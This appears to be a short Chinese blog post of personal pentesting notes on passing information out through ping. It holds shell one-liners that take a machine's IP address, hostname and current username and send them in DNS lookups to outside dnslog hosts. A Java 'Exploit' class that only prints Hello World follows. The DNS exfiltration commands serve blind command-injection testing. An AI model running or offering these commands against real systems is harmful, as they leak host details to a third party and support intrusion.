ping命令传递信息

IP:
# 适用于 eth0  inet addr: IP的情况
ping `ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`.vivo_fj_ip.q734y5p2.dnslog58.top
ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'`.kiwe2t.dnslog.cn

# 适用于 eth0 IP的情况
ping `ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`.vivo_fj_ip.q734y5p2.dnslog58.top
ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'`.kiwe2t.dnslog.cn


hostname
ping `cat /proc/sys/kernel/hostname`.vivo_fj_hostname.q734y5p2.dnslog58.top

user
ping `whoami`.vivo_fj_use.rq734y5p2.dnslog58.top

java 编译和执行

public class Exploit {
    public static void main(String []args) {
        System.out.println("Hello World");
    }
}


C : > javac Exploit.java
C : > java Exploit 
Hello World

(很初级,但我java Exploit.class了半天)
posted @ 2019-12-06 04:31  huim  阅读(526)  评论(0编辑  收藏  举报